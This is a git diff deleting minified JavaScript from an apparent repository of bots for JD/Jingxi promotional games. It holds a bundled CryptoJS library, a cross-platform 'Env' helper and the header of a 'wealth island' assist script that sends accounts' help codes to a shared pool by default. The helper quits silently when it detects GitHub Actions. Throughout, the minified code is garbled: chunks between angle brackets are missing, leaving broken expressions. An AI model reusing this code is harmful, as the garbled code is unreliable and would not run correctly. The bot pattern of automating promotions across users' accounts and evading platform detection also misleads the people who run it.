008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); -} - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_wealth_island_help.js b/backUp/gua_wealth_island_help.js deleted file mode 100644 index f96fdc1..0000000 --- a/backUp/gua_wealth_island_help.js +++ /dev/null @@ -1,612 +0,0 @@ -/* - https://st.jingxi.com/fortune_island/index2.html - 18 0,1,9,14,18 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_wealth_island_help.js 财富大陆互助 - - 默认按账号顺序提交 - 如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例: - gua_wealth_island_codeId="3,5,8" - - 先账号互助完再助力助力池 - 默认其余的助力给助力池 - 如果介意请不要使用本脚本 - -*/ - -// prettier-ignore -!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var 